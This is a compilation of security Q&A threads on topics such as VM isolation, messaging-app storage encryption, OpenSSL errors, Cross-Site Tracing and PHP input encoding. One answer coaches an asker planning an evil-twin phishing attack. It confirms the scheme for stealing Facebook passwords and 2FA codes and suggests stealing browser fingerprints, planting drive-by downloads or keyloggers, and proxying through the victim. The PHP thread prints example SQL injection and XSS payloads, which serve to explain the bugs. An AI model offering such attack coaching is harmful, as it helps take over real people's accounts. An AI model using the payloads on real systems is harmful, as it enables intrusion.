I discovered that my local machine's OS (Windows 8) is not supported by the tool; it looks for "More recent operating systems, such as Windows 7".  My guess is the tool is a bit out of date...  It also didn't detect our corporate firewall.

Anyway, the customer site recommended that I use VMWare on my machine and install an XP VM.  I did this and it did pass all the security restrictions from the web portal.

Possible duplicates:

Would running VMs inside of VMs be a more secure way to study viruses, etc?

and

How secure are virtual machines really? False sense of security?

The host machine can impact and alter whatever it wishes in the guest VM. The host can read and write all the memory of the guest, stop and restart it on a per-instruction basis, and, by nature, sees every single data byte which enters or exits the guest. There is nothing which the OS in a guest VM can do to protect itself against an hostile host.

Thus, if the host is vulnerable and subverted (an hostile attacker takes control), then the guests are toast.

In your specific case, be assured that if the "protection software" is not aware of the existence of Windows 8, then it is indeed too old to be much good against virus. I bet your customer knows it, too; by recommending a workaround (the VM with Windows XP), he is showing you how work can still be done without having to openly rebel against a company policy. In big organizations, there are often legacy policies which outlast their usefulness by years but can be removed only by waiting for the responsible people to retire or be fired.


Telegram, Signal, WhatsApp: chats encrypted in local storage on mobile devices? I wonder if the chat content's are encrypted in local storage on mobile devices (iOS, Android).
I hardly found any reliable information about this topic.
My thought is about somebody stealing my device and plugging it's hard drive into an external device.
This is not about how to decrypt the storage. It's just about if it's encrypted at all.
What I found so far:

Telegram (iOS: ?, Android: ?)
Signal (iOS: Encrypted, Android: Encrypted)
WhatsApp (iOS: ?, Android: Encrypted)

I've android device and I don't use telegram. I cannot confirm about telegram and iOS.
Signal encrypts its internal message database with AES-256-CBC mode using SQLCipher. Encryption key and IV for database file is stored in org.thoughtcrime.securesms_preferences.xml as pref_database_encrypted_secret which is itself encrypted by AES-128-GCM key stored in Trusted Execution Environment (TEE). iPhone has Secure Enclave Processor (SEP). The process can be slightly different in iOS but the intuition of what Signal does to protect data at rest is same.
I've seen no encrypted internal message database in WhatsApp. WhatsApp encrypts local and Google Drive chat backups though, but those are meant for migrating chats. Chat backup is actually an encrypted snapshot of internal message database taken at 2 am everyday. It is stored in user accessible storage and the same snapshot file (msgstore.db.crypt12) is then uploaded to Google Drive as well. See, How can WhatsApp restore local or Google Drive Backups?
Both android and iOS encrypt user and app data by default and Data Encryption Keys are bound to screen lock code and TEE. Even if you know screen lock code, you still won't be able to decrypt data by taking out UFS flash storage off the device. TEE participates in key derivation to derive a Key Encryption Key that decrypts data encryption keys and it refuses participation unless the user is authenticated. So swapping TEE with another indentical device won't work either.
When Signal is uninstalled, the corresponding key is also cleared from TEE making data recovery impossible for spyware agencies even if data encryption keys are compromised. As WhatsApp doesn't encrypt its internal database, it can be recovered even if it's deleted but data encryption keys have to be extracted first from memory and this is what spyware agencies like Cellebrite and GrayShift are doing.
They extract data encryption keys from memory physically or by zero days and then they use them to decrypt message database. If the device has been already unlocked once since last reboot, keys remain in memory so that apps can be remain functional at locked screen even if the screen is relocked again. Signal is also affected because of this intended design.
Either way is vulnerable due to design flaws and Telegram might be either one of the methods. Signal's approach only makes it harder to extract data. The only safe states are if Signal is uninstalled from the device and if the device is rebooted but not yet unlocked.


How can I detect if someone is sniffing network packets on the LAN? I would like to know if there is a product or software that can detect if there is a sniffer currently on the network?

In other words is it possible at all to detect if there is a network card on the network that its  is currently at promiscuous mode?

There has been some work done that I've heard of like anti-sniff, which looks to detect machines in promiscuous mode using timing information.

The idea being that machines in promiscuous mode will have to process all packets that they see so if there are large amounts of traffic that need processed the system will be busy and slower to respond to directed traffic.

This sort of approach, if it's still practical, wouldn't work in every scenario.  For example if a host doesn't have an IP address it can still potentially sniff traffic and it wouldn't be possible to detect it using this approach.

However it's one possible approach that could be explored.


Does this concept attack work to harvest credentials and 2FA using offline fake site? My concept is this:

Client connects to Malicious\Eviltwin AP
Client connects to www.facebook.com but this one is a fake offline site by the fake dns server
Client enters user and password ---> attacker gets credentials
Attacker use the creds to enter into 2Factor Auth page of facebook
Attacker replicate/prompts 2FA fake page also offline and gets the 2FA Code
Attacker gain full access to the account
Sends error message to client and then prompt him into the real facebook

My questions are:

Is this thing working in a real scenario? 2FA can't block access of the attacker?
Can you host offline https site and fake certificates to make less suspicious the site?

Seems like your intent is to defeat Two-Factor Authentication. There are a few ways to do this, some of which use your setup.

What is Two-Factor Authentication?

Two-Factor Authentication is essentially an added layer of security. If someone steals your password, and you have 2FA enabled, it is unlikely that they'd be allowed to log in without additional login details. For example, the World of Warcraft authenticator, a text message, or an email containing an access code.

Is Your Attack Possible?

  Is this thing working in a real scenario? 2FA can't block access of the attacker?

This is two questions:

This is likely working in a real scenario.
Correct, 2FA is relatively dumb when it comes to detecting something like this. 2FA only tries to verify, with an additional layer of security, that you are who you say you are when connecting from an unknown source.

However, https poses a challenge. How do you get the user to install a fake certificate in their browser? Most browsers are going to warn the individuals right off the bat if something is going on. Do you think most users will click, "I understand the risks, let me visit anwyay"?

You may not even need to use ssl in some cases. You could probably redirect them to http:// instead of https://, and they wouldn't notice it. A tech-savvy user may not even realize it.

Moreover, I would modify your attack:

Collect their browser fingerprint
After they attempt to login, redirect them to the true Facebook website with a login action.
Use their browser fingerprint to log in.

Why? Because Facebook will alert them of the login. If it matches the IP address they're connecting from, and it shows the same browser fingerprint, then Facebook would likely presume you're just using Incognito mode with another browser window since your cookie sessions are different.

  Can you host offline https site and fake certificates to make less suspicious the site?

What you are describing is essentially a man-in-the-middle attack alongside DNS hijacking for the purposes of phishing.

Yes, this is definitely possible. I've done something like this before as a test to try and defeat World of Warcraft's authenticator (I was bored, and wanted to see if it could be done; only did it to myself), and it worked pretty well - but I did not use DNS hijacking for that, only a MiTM.

How do you defeat Two-Factor Authentication?

I realize some of these methods will not be a direct response to your question. I'm simply providing an alternative viewpoint, as your goal is to break 2FA. You have to think outside the box.

In many cases, 2FA can be defeated by a keylogger / trojan.

"But Mr. Buffalo, why would I use a keylogger? How would I even infect them?" If you control the rogue access point, you can direct the user to a fake login page, or an EULA page with a "continue" button, and you can host a drive-by-download exploit on the page. Most users aren't going to look for this.
In cases where different IP addresses and browser fingerprints are detected by the login system and rejected, such as World of Warcraft's secret auto-ban program that bans individuals connecting to North American servers who are located in China, and other "high-risk" countries, even if they're legitimate users, then you can defeat these detection systems by using the victim's internet connection as a proxy.

2FA can be defeated with your method, but would be even better if modified with the above suggestions.

In cases of web browsing, you should also steal the victim's browser fingerprint and use it. This is a lot more work than you think, but if you pull it off, then it will appear to originate from the victim's machine, and not yours. Scary, isn't it? Someone could impersonate you with incredible precision, and even get you in trouble for breaking the law when it wasn't you who did it. This is a good reason why IP addresses can't be considered a person.

In either scenario, it requires a lot of work.


rng-tools entropy sources Using rng-tools 6.3.1, I list the entropy sources:

$ rngd -l
Entropy sources that are available but disabled
4: NIST Network Entropy Beacon
Available and enabled entropy sources:
2: Intel RDRAND Instruction RNG
5: JITTER Entropy generator

What would cause source #4 (NIST Network Entropy Beacon) to become "enabled" and not just "available"?

According to the manual page, you can use -n or --include with either the index or the shortname for the given entropy source specified in -l to enable it. In your case, you would run the following:

rngd -n 4

However, in the same manual page, there is a warning about enabling this source:

  Entropy gathered from the NIST network entropy beacon.  Note that this entropy source is disabled by default as it should never be used for cryptographic purposes, or any use case in which random data should be known only by a single entity.

The problem is that the NIST entropy beacon sends the random data to everyone over the network. It is not intended to be used for secret keys (the ouput isn't secret), but for getting unpredictable randomness. In fact, it allows anyone to see a list of previous random outputs! From their FAQ:

  The Beacon is designed to provide unpredictability, autonomy, and consistency. Unpredictability means that users cannot algorithmically predict bits before they are made available by the source. Autonomy means that the source is resistant to attempts by outside parties to alter the distribution of the random bits. Consistency means that a set of users can access the source in such a way that they are confident they all receive the same random string.

Bold emphasis mine. This means that everyone gets the same output, so it is not secret after it has been released! In fact, the beacon only releases a new 512-bit output to everyone every 60 seconds, and the previous output is stored and available for anyone to see. Now, while rng-tools will only mix the data with the random pool in order to prevent any sources from reducing security, using the NIST entropy beacon to supplement your kernel random pool is unnecessary and won't really provide you with any cryptographic benefits, anymore than mixing in the previous winning lottery numbers would.


Best practices for encryption from web specific client If we want to allow sensitive data between a web server and specific client only, is there anything more that can be done besides the following?

Note that this is potentially a duplicate of Authenticating client without hardcoding key? but the focus here is more on a good solution within this limitation (that there is no absolutely definitive solution to authenticate the client)

1) All traffic flows over SSL

2) Client has AES-256 key hardcoded yet obfuscated

3) Server has same AES-256 key

4) Client makes request for new "session key"

5) Server generates random session key and encrypts it with shared AES-key

6) Client decrypts, and all further exchange happens over this "session key" (which is also aes-256)

Instead of using a hardcoded key, you should use mutual SSL authentication. Using an obfuscated key, doesn't add any security, certainly not when you're already using SSL.


My Skype friends are sending me links People on my Skype friends list keep sending me links with my name in the URL. I was getting kind of worried because when I click the link it doesn't go anywhere. I asked my friends and they said their account got spoofed and I just wondered what this meant?

I have tried looking on the internet to no avail. I am unable to get the link because I only just today learned about this website and it wont let me back track any further then 7 days. It was sent about 10 - 12 days ago.

I was also curious what spoofing is?

I saw that before. Tha accounts of your friends are probably hacked. They are sending spam or evil links to all contacts. Never click on that links. Probably that links are trying to execute javascript on your browser... trying to steal cookies or for any other evil purpose.

Your friends should change their password quickly. Or maybe their computer is infected with malware.

If is hapenning to you with ALL of your contacts... probably is your account which is hacked or what have the malware.


OpenSSL Verify: Difference Between "unable to get issuer certificate" and "unable to get local issuer certificate" From the man pages:

  2 X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT: unable to get issuer
  certificate

  the issuer certificate of a looked up certificate could not be found. This normally means the list of trusted certificates is not
  complete.

  20 X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY: unable to get local
  issuer certificate

  the issuer certificate could not be found: this occurs if the issuer certificate of an untrusted certificate cannot be found.

I'm not sure if I get that. For me it sounds both quite the same. What do they mean with "looked up certificate" and "untrusted certificate". An untrusted certificate would be any certificate along the chain but the root  certificate. A look up certificate could be an externally retreived certificate, like though AuthoritiyInfoAccess. But I'm really not certain here.

Both error cides are very similar. You can view its usage on crypto/x509/x509_vfy.c line 432 onwards:

if (trust != X509_TRUST_TRUSTED && !bad_chain) {
    if ((chain_ss == NULL) || !ctx->check_issued(ctx, x, chain_ss)) {
        if (ctx->last_untrusted >= num)
            ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY;
        else
            ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT;
        ctx->current_cert = x;
    } else {
        …
    }
    …
 }

Thus, the only difference between both error codes is whether ctx->last_untrusted was >= num  when the untrusted certificate was found.

Here, num holds the number of untrusted certs and last_untrusted the index of the last untrusted cert.

The condition last_untrusted >= num (X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY) would be met if a trusted chaing to a certificate in the trust store was not found, whereas X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT seem to happen if a CA matched but the chain validation failed anyway, maybe due a malicious chain but perhaps simply due to a missing intermediate.


Website security checklist? I'm building a web service (a control panel for clients) (PHP on linux apache) and trying from the design to make it the most secure as I can,

Can anyone provide me with some kind of a check-list of things I need to be focusing on?

I already implemented:

SQLi protection,
per session CSRF token,
secure password hashing storing to database with php 5.5 password_hash(with need_rehash check),
added recaptcha for all spam robots,
sessions manager for the user (view who logged in to my account and

close remote sessions & alert if someone accessed my account).

SSL certificate, full communication over HTTPS. (i redirect all http -> https)

Questions:

Do I need some kind of auto ban IP system?
Failed login IP banning & logging?
Any linux-server security modifications? I did not modify anything yet
How do I protect my website from all spam bots/spiders? identify&ban

It will be helpful if someone can prove a guideline/checklist to all security points for a website, to go an check/secure one by one...

I think my service is secure then the most... but clearly it's not gonna change the fact that there are some skilled people chat can hack anything... - I do want to make it a bit of a challenge if someone try messing with my system... I want a website service that is more secure then others.

To respond directly to your questions:

  do i need some kind of auto ban ip system?
  failed login ip banning & logging?

Yes, don't try to reinvent anything and use fail2ban (just a good regex expression and you are protected.)

  any linux-server security modifications? i did not modify anything yet

I would recommend selinux with domains and all that stuff, but is pretty hard. A good firewall, tcpwrappers and updates should be enough.

  how do i protect my website from all spam bots/spiders? identify&ban

Captcha as system is ok.
Check referrer
Use javascript before submitting.
https://stackoverflow.com/questions/677419/how-to-detect-search-engine-bots-with-php

As checklist I recommend you OWASP top 10 (https://www.owasp.org/index.php/Top_10_2013-Top_10).
If you want more details get OWASP Cheatsheets Book: https://www.owasp.org/images/9/9a/OWASP_Cheatsheets_Book.pdf

Regarding security options on server side I also recommend:

WAF (mod_security + OWASP rule set) will be essential on your web app.
Chroot Webserver.
Hide webserver Signature
Disable Directory Listing
Use mod_evasive (agains DOS)
Turn off Server Side Includes and CGI Execution if you don't use them.
Uninstall everything what is not necessary.
Force yourself and do not install anything from sources, it will be harder to upgrade.

Good luck.


Why do compromised web sites often take you through multiple URL redirections? Quoted form my course instructor's lecture:

  The following are the stages of a typical web attack: The victim visits a legitimate web site that has been compromised. The compromised web site redirects the victim to another site that is running malicious code that is controlled by the attacker. The redirection may go through various intermediary servers first.

I also faced the same issue. If I visit torrent sites and mistakenly or intentionally click on some links, it takes me to another site through various intermediary site. Why does it go through many site within a few seconds instead of only going to the last one directly? Whats is the benefit for the attacker?

There are actually two cases here:

A site which is serving malicious ads (Malvertising)

In this case the attacker does not compromise the site itself but is misusing targeted ads to select the victim based on its specific capabilities (browser, OS, geolocation,...) and attack it. Due to the way targeted ad delivery works it uses a lot of redirect between various sites, i.e. the majority of redirects are not for malware delivery but part of the usual ad delivery process. See for example How real time ad serving works for more information. There might be some malware specific redirects at the last stages for the same reasons as described for the second case below.

A site which has been compromised by an attacker

In this case the visited site is compromised by an attacker. The attacker will usually only put some minimal redirect onto the compromised site for the following reasons:

Harder to detectIf only some redirect code is installed and not the malicious payload the chance is higher that the compromise will stay longer undetected by the owner.
Protect the malware from researchersThe malware is precious for the attacker. If some security company would get hands on all the malicious code when cleaning the compromised site and could analyze it and thus add protections for their customers, thus making the malware less valuable suddenly.
Increased flexibility in updating malware
If the malware gets detected by security systems the attacker needs to install the next version. Also, the malware might not be owned by the attacker itself but one attacker might just redirect the victim to another attacker which develops and hosts the (always up-to-date). Both attackers share then the profit (i.e. kind of franchising).
Protection against takedowns
By using redirects the attacker can build a more flexible infrastructure which is more robust against takedowns or blacklisting.


Up to date books for OpenSSL coverage of TLS 1.1 and 1.2 I currently have
Implementing SSL / TLS Using Cryptography and PKI Joshua Davies.
It is very recent and covers even newer TLS version 1.1 and 1.2 and ECC.
It is based on many C sample that are dedicated for this book and apply more for people wanting to develop or extend a tls stack understanding deep internal crypto, OpenSSL is mentioned but openssl usage sample is limited to 3 pages ( book is 663 pages ).

SSL and TLS Designing and Building Secure Systems from Eric Rescorla which is the best book i could find about the subject but it is outdated.
It covers to TLS 1.0 ( 2000 ).
It contains general SSL TLS description with some history and cover general Security Concepts and TLS from basics to advanced with details. BUT still imited to TLS v1.0
It give hints to develop with ( but not only with ) OpenSSL over 40 pages ( Coding with SSL ) but with very old openssl ( prior to 0.9.7 ).

And the openssl 'reference' :
Network Security with OpenSSL from John Viega, Matt Messier & Pravir Chandra,
It covers openssl 0.9.7 then up to TLS 1.0, it is too old.
It comes with many samples and many hints.
It cover usage of openssl tools to generate certificates, sign , crypt .
Coding with openssl server and clients
I had more difficulties to enter in this book that for the others, its writing is less fluent.

Still i didn't find a book giving up to date advice to code securely using openssl for latest known TLS threats addressed by various extensions.

I wonder if an up to date book dedicated to coding with OpenSSL describing latest API and covering TLS 1.1 and 1.2 ?

[ Still i didn't yet read 'Bulletproof SSL TLS and PKI' or other references given in answers ]

[ And yes some opinion can be based on quality of book, but not on coverage ]

I think what you might be looking for is something like Bulletproof SSL TLS and PKI
 which is so new it's not even out yet!


Is there a difference between "risk tolerance" and "risk appetite"? I'm studying for the CCSP exam and I'm a little confused on the difference between "Risk Appetite" and "Risk Tolerance".  Is there a clear and discernible difference? Can the terms be used interchangeably?

To me, both terms are referring to the amount of risk that an organization (or more accurately, the governance and risk management program at an organization)  is willing to take.

The best way to distinguish the two can be using mathematics.
Risk Appetite is the target level of loss exposure that the organization views as acceptable, given business objectives and resources. Think of this as amount of money an organization can afford to lose (Eg - 10k $).
Risk Tolerance is the degree of variance from the organization’s risk appetite that the organization is willing to tolerate. Think of this as how much percentage of the intended loss budget can be covered, or how much flexible is the loss budget. (Eg - 5%)

Now look at the examples - the company has a risk appetite of 10k $. This implies that the company can afford to lose 10k if there is a breach, breakdown or any issue. Risk Tolerance is how much this number can vary - implying that the 5% shown tells us that the Max limit the company can push it loss budget is (10k + (5% of 10k)) which is (10k + 500)$. Here, 10k is appetite and 500 is tolerance.


What is a company's benefit of training employees in cybersecurity? I'm a federally employed senior executive assistant with a user-knowledge in computer programs and software. I'm trying to change my career and am looking for my employer to pay for my training. I'm interested in cybersecurity; it appears to be challenging and fascinating too. My employer is requiring me to submit a request that includes "Why I'm interested and what benefit is it to them".
I thought I compiled the right language, but apparently it wasn't good enough. So, I'm reaching out to you for some support. I can't simply tell them that I'm bored, and my current position doesn't have any mobility. What should I do?

An interesting question.

In mind there's probably at least a few answers.

Training the Average Employee

These days corporations are evolving their average employee training to include cybersecurity with an eye to "if everyone operates securely, we'll be at less risk of loosing business data, reputation, or other key facets of the business to a cybersecurity attack" - this comes down to the "you're only as strong as your weakest link" argument.

However, I don't see the training of this sort being the kind of thing that's really going to increase your job skills - so I'd say this probably isn't the position or type of course you are going for.

Training the Management

Management will always be in the business of weighing tradeoffs between available resources and business goals.  These days "less vulnerable to cybersecurity attack" is a very viable business goal in almost every business of any scale.  Courses that teach management the factors involved in this area and some common techniques for trading of risk to assets vs. cost of security controls is certainly worth while.  There's courses and certifications out there for this, but with an uneducated corporation, you'll have to figure out a way to explain what the risks are for this business and connect it to why the training will help.

Note - this is a management case - if you are not yet management, then making this case will probably be of limited use.

Training Technical Knowledge Workers - IT, Engineering, etc.

My definition here (to be completely vague) is anyone with a job that centers around building "computer stuff" for the company - networking, system administration, software development, solution development, desktop support or any other area - whether this is focused on keeping the tools of the business running or developing product on which the business depends.

The trick to making a case here is that this is just another facet to "using the tools and techniques correctly" - don't make a huge leap from your area of current expertise to a whole new topic.  For example, if you are a system administrator, you may not easily be able to jump to a course in the low level mathematics behind cryptography - if your boss is clued in, he'll have real trouble seeing how that crypto course is going to help you.  But if you are a LINUX admin, taking a course on Securing LINUX is just as relevant to your job as taking Advanced LINUX configuration - it's teaching you how to use a tool correctly and with the best practices that make it easier to maintain.

I'd take it from that angle - "I am a X job, and the company has invested a great deal in A, B, C tools.  The need to securely manage and use these tools has been a growing topic within in the industry.  I'm looking to take a course on security that is relevant to these tools so I can be better and more efficient at making the security features of these tools work correctly for our company".


Hardening VM for Malware Analysis I'm starting out in Malware Research / Malware Analysis. I am reading a book called "Practical Guide to Malware Analysis," which touches this in the 2nd chapter, before approaching Dynamical Analysis (malware detonation). However, it mentions 2 options for Virtualization approach:

Set Network Adapter to Host-Only. That way it should isolate VM from Network, but still have access to it via Host - not sure how that works though.
A multi-VM setup where one VM is set for Services and the other for Analysis, and both are joined to the same Custom VMNet.

My problem is that there are no step-by-step instructions on how to do this. I am hoping to get answers here. My most curious question is: Is setting Network Adapter to Host-Only the only thing to do to isolate the VM for Malware Analysis?

Many sites that I Googled mention just this (and also taking snapshots, etc.). Thanks.

Setting the network adapter to host-only does not truly isolate the malware. The malware could spread to your host over the host-only network, and then it can spread from your host to the rest of the network or to the internet. (This assumes that your host has regular network connectivity, as is often the case.) This is not recommended, and I'm surprised they suggested it in the first place.

You should avoid giving the malware any means of spreading to your regular internal network or the internet.

The creation of a custom network (or VLAN) is ideal. Most hypervisors will allow you to map directories/folders between your host and a guest, so you can transfer files in and out that way. You create two VMs: one "test" VM to execute to the payload, and one "tools" VM to run analysis tools and transfer data.

The "test" VM can be as insecure as you like---and it may need to be fairly insecure for some payloads to work. The "tools" VM should be relatively hardened; some people prefer it to be a different OS than the "test" VM as well.


Implications of Trace/Track Methods on Apache When performing vulnerability scans using Nessus, against a host running Apache, one expected result is always "HTTP TRACE / TRACK Methods Allowed". While this result only has a base CVSS of 4.3, I always recommend that it be corrected. The fix is easy enough that I have never received push back.

What are the real life implications of leaving something like this open?

HTTP TRACE method basically replies the request, together with all the headers in response. Cookie header will also be included in response. Session cookies should have httpOnly flag for preventing Session Hijacking attacks. This flag blocks access to the cookie value from Javascript. Basically this ensures that even if attacker will exploit a XSS flaw in a website, he won't know the session cookie value, so he can not hijack it.

But if a web application server has TRACE enabled, attacker can just send e.g. XMLHttprequest (AJAX) to the target server. Browser will attach the cookies to the request, the server will echo them in response - and attacker's JS code will get the response and will be able to hijack the session.

The vulnerability is called Cross Site Tracing and has been described in this white paper.

However, since 2003 when this vulnerability has been discovered, many browsers simply disallowed sending requests with TRACE method. Also the specification for XMLHttpRequest disallows TRACE method now. I don't have any concrete results on which browser allows sending TRACE right now, the closest match I found is this article.

But still, there probably are some old browsers around - and other plugins like Flash, Silverlight, Java that often receive cookies from the browser and may use them for sending TRACE. So disabling it is now the only option to be sure you're not vulnerable to Cross Site Tracing. And it's easy too - just use TraceEnable off in Apache.


Getting "SSL: alert ["write"]: fatal : bad record mac" during openssl Handshake I am getting SSL: alert ["write"]: fatal : bad record mac from the OPENSSL logs during the handshake and Client is not sending the Application data and its creating the handshake again and again.

What could be the issue please anybody help me in this?

Such a message is sent by one party (e.g. the server) to the other party (e.g. the client) to signify that it got a problem with the cryptographic elements sent by that party. Nominally, this occurs in the following conditions:

bad_record_mac
   This alert is returned if a record is received with an incorrect
   MAC.  This alert also MUST be returned if an alert is sent because
   a TLSCiphertext decrypted in an invalid way: either it wasn't an
   even multiple of the block length, or its padding values, when
   checked, weren't correct.  This message is always fatal and should
   never be observed in communication between proper implementations
   (except when messages were corrupted in the network).

In the SSL/TLS handshake, the first encrypted message sent by any party is the Finished handshake message which precedes the application data. When the crypto went wrong, this will show up at that point, with the bad_record_mac alert.

It must be noted that when the asymmetric key exchange fails, e.g. if the server tried to decrypt the RSA-encrypted "pre-master secret" sent by the client but did not find a properly encrypted RSA message, then most modern server implementations will keep on with a random pre-master secret. This is a defence against Bleichenbacher attacks, which try to get extra information on the server private key by trying to guess whether the decryption failed at the RSA stage, or later. To counter these attacks, servers "delay" errors until the Finished messages, and will try real hard not to explain the exact error cause. So, while bad_record_mac is nominally a problem with the integrity check layer, such errors will tend to appear for any cryptographic-related issue.

A plausible cause would be the following: the client is using a purported server public key which does not match the actual server private key. Normally, the client will extract the server public key from the server certificate, which the server sends to the client during the handshake. The server also owns a private key, which is mathematically linked with the public key. If the server is configured to use the wrong file, then you could obtain the symptoms you observe.

I suggest that you use a network monitoring tool (such as Wireshark) to observe the handshake messages: you should see the Certificate message from the server, containing the server certificate chain; for the first certificate of that chain, you can extract the server public key, that the client will use. On the server, try to print out the server private key details (whether this is easy or not depends on the involved software and actual key storage), to see if they match.

Other possible causes involve buggy implementations of some cryptographic algorithms (on the client and/or the server). Pinpointing these errors could be hard.

To get more debug details, you may also try to connect to the server with the openssl command-line tool:

openssl s_client -connect theservername:443 -msg -debug

Also try to play with some of the options to select the protocol version (-ssl2, -ssl3, -tls1...) and the supported cipher suites (-ciphers). Ultimately, you could even recompile your own version of OpenSSL with custom debug code inserted in it (to print out intermediate values and so on). OpenSSL is opensource, so this is technically doable, if you have some C programming knowledge.

Some mastery of the details of the SSL protocol will help. See this answer as a starting point.


It seems that someone has been trying to brute force into my hotmail (outlook) e-mail account for years now, what can I do about it? Every time I go check my account's activity I see something very weird and worrying: multiple attempts to log in to my account, anywhere from 1 to 3 daily attempts. This has been going on for years.

The list goes on and on, this is only the first page.

All attempts are being done through IMAP protocol, and a proxy chain is being used apparently. I know nothing about security, IMAP, brute-force, proxy chains, etc; so I come here to ask if there's anything I can do about this to defend myself proactively.
Can I turn off IMAP? Can I set email to just accept connections from specific IPs? What can be done as defense?

It is normal what you see. Many resources in internet get constantly login requests. This is not the reason to worry.
If you disable IMAP, there will be requests per POP3. If you disable it, too, there sill be requests per HTTPS. Besides, if you disable IMAP and POP3, you will not be able to access your email box from email apps on your smartphone.
What can be done?

Make sure your password is secure. Check if it is long enough, if it uses letters in low and upper case, digits, special characters; check if it is random enough, i.e. it should not be based on some dictionary word, date etc.
Activate two-factor-authentication.


Hacking through a browser? I was looking at this question:
How can you be caught using Private VPN when there's no logs about who you are?
and everyone who read it and responded seemed to be taking for granted that every single proxy mentioned was a website. It seems to me that even programs that connect you to proxy servers don't route all of your traffic, just the traffic that runs through your browser. I have never seen an attack executed using the browser, but of the 8,000 people who looked at this I am the only one who commented on this, so I would assume I am missing something. What is it?

Aka, why would these proxies help obscure your identity while you hack when they only work in conjunction with a browser, not whatever tool you are using to attack the website?

A proxy server is a machine that is relaying traffic on your behalf. You can't "download a proxy", you are (probably) downloading an application that connects to a proxy server. When you use a website offering a proxy web-app, it too is relaying traffic.

The question you linked to does not appear to assume that use of webapp-proxies - in fact the word "proxy" only appears once on that page.

A VPN is not a proxy server! A proxy server relays traffic on your behalf. A VPN creates a secure connection to a VPN concentrator, and from that point on your traffic will enter and exit the gateway of the destination network.

Does that help? (I don't understand the part of your question concerning "attacks through the browser").

I suppose you could download a Virtual Machine configured to act as a proxy, but I'm sure this is not what the question is asking :)


PHP - How to do safe input filtering in the light of multibyte encoding vulnerabilities? For days now I try to get my head round how to write a secure web application in php, and it turns out to be particularly difficult. The more I read, the more I sink in deep swamps full of vulnerabilities which are not mentioned by kind people like Matt Robinson or Chris Shiflett.

For a few examples, take:

http://sirdarckcat.blogspot.de/2009/10/couple-of-unicode-issues-on-php-and.html
https://www.owasp.org/index.php/Double_Encoding
Also see character consumption as in Rook's answer

In short,I see the following problems:

When filtering input, it is not very clear how that data will be decoded later, and thus character encoding and escaping systems can bypass the input filtering. (such as double url decoding)
When escaping output, one uses standard functions such as htmlspecialchars. It is all nice that htmlspecialchars has an encoding parameter, however that doesn't prevent you from sending UTF-16 input to it, and that could probably break the security value of the function.

It seems there is a mbstring module in php, but if it is vaguely as secure as it's documentation is comprehensible, than it 'll probably be useless even if I can figure out how to use it. Just a sample of the docs for illustration:

mbstring.strict_detection boolean

    Enables the strict encoding detection.

Great, that's helpful.

Unfortunately the functions also depend on what you set in the configuration options... There seems to be a function called mb_convert_encoding, but the docs say nothing about the security aspect and it seems you need to know the input encoding (a no go zone for security). There also is mb_check_encoding. Which seems to be meant for the purpuse, but reading the user comments on the docs doesn't exactly inspire confidence.

So the question is, in the light of all this, how do you do secure input filtering? Something like this?

mb_convert_encoding to utf-8
mb_check_encoding to reject invalid input
loop url_decode until the string stops changing
Do your normal input filtering with text comparison and regex etc...

edit: note that 3 is problematic because your normal input filtering might introduce entities again that can be url decoded

edit
I found a partial answer here, from Shiflett. It seems that for htmlspecialchars using it's encoding parameter and making sure you set your character encoding header for the browser to the same would avoid that the browser interprets characters differently than htmlspecialchars does. That is all assuming that the input of htmlspecialchars is valid for the given encoding or that for every possible invalid input htmlspecialchars interprets the string in exactly the same way than every browser does. We know that if we find no way of sanitizing our input we cannot assure that the input of htmlspecialchars is validly encoded, because an attacker might cook up a string with invalid encoding. This leads us to the second possibity, that htmlspecialchars will behave identical as the browser for all possible inputs. This is a problem, since we cannot use the same tokenizer for escaping and using, since one happens on the server and one happens in the browser.

This is all similar to what msql_real_escape does for a database, although I think you can properly solve this problem for msql by using prepared statements instead.

A third problematic output is the filesystem when using php to do file uploads or other file system manipulations. About this last one there seems to be very little information available. I don't even know of a specific escape function, let alone one that is robust when it gets crooked input.

In order to mount a proper defense against a threat you need to understand it.  Blindly layering encoding schemes is very dangerous as this can introduce a problem when by default this usually isn't an issue.  In general security problems related to encoding arise because escape functions can act upon data differently than they are interpreted. But that is not the only concern,  it can also confuse the programmer in that they think a string is escaped,  when its not.

The first concern is that escape functions can build dangerous strings for the attacker.

mysql_real_escape_string()  is a special function that knows what encoding type the database is using,  and adjusts its escaping to follow suit. There for there can never be a disconnect between the encoding method the escape function and the interpreter.   Simply using addslashes() can be very dangerous for this reason.

As an example lets use 0xbf27,  which is a single GBK character. addslashes() doesn't understand GBK,  it only understands ASCII.  If this string where interpreted as ASCII the first character would be 0xbf which is an unprintable ASCII character lets call ¿.  The 2nd ASCII character is 0x27 which is is a single quote '.   After addslashes() 0xbf27 becomes 0xbf5c27 or if it where printed in ASCII it would be ¿\'.  The problem is that 0xbf5c is a valid GBK character,  so addslashes() has turned a multi-byte character into 2 characters,  one of them being a single quote.  Another way of thinking of this is that the backslash is being consumed by GBK encoding.

Character consumption can be a problem without escaping functions.   Lets use SHIFT-JS and HTML as an example.  This example was taken from The Tangled Web:

...this is still a part of the markup...
 " onerror="alret('this will execute!')"

...the page continues...

In this case the "> at the end of the img tag are very important control characters that are being consumed.  The " is being consumed by the encoding scheme,  and then the > and some other text appears to be apart of the HTML src attribute,  its not until it hits the " onerror that the attribute is terminated.

...  But that's not all.    Lets switch gears a bit.  What about urldecode()?

<?php
$id=mysql_real_escape_string($_GET['id']);
$id=urldecode($id);
mysql_query("select * from user where id='".$id."'");

Do you see the vulnerability?  From my experience most PHP programmers don't see it.   The problem is that urldecode() can be used to build a vulnerable string,  lets say the attacker provided a string like http://localhost/vuln.php?id=%2527 or sleep(30)--.  Well just about every web application platform will automatically run a urldecode over all HTTP inputs.  So the contents of $_GET['id'] is actually %27 or sleep(30)-- That is because %25 was decoded into a % (% is hex 25).  After mysql_real_escape_string() or even addslashes() the value is still just %27 or sleep(30)-- After running urldecode() again,  the contents of $id is  now ' or sleep(30)--,  which is dangerous.

So as a hacker tip,  when I am auditing a code base that uses magic_quotes_gpc or something similar,  I grep though the code looking for decode functions,  like urldcode(),  htmlspecialchars_decode(),  base64_decode() and similar functions.   Even though,  the application runs addslashes() blindly on all input,  a decode function will allow the attacker to build his attack string.

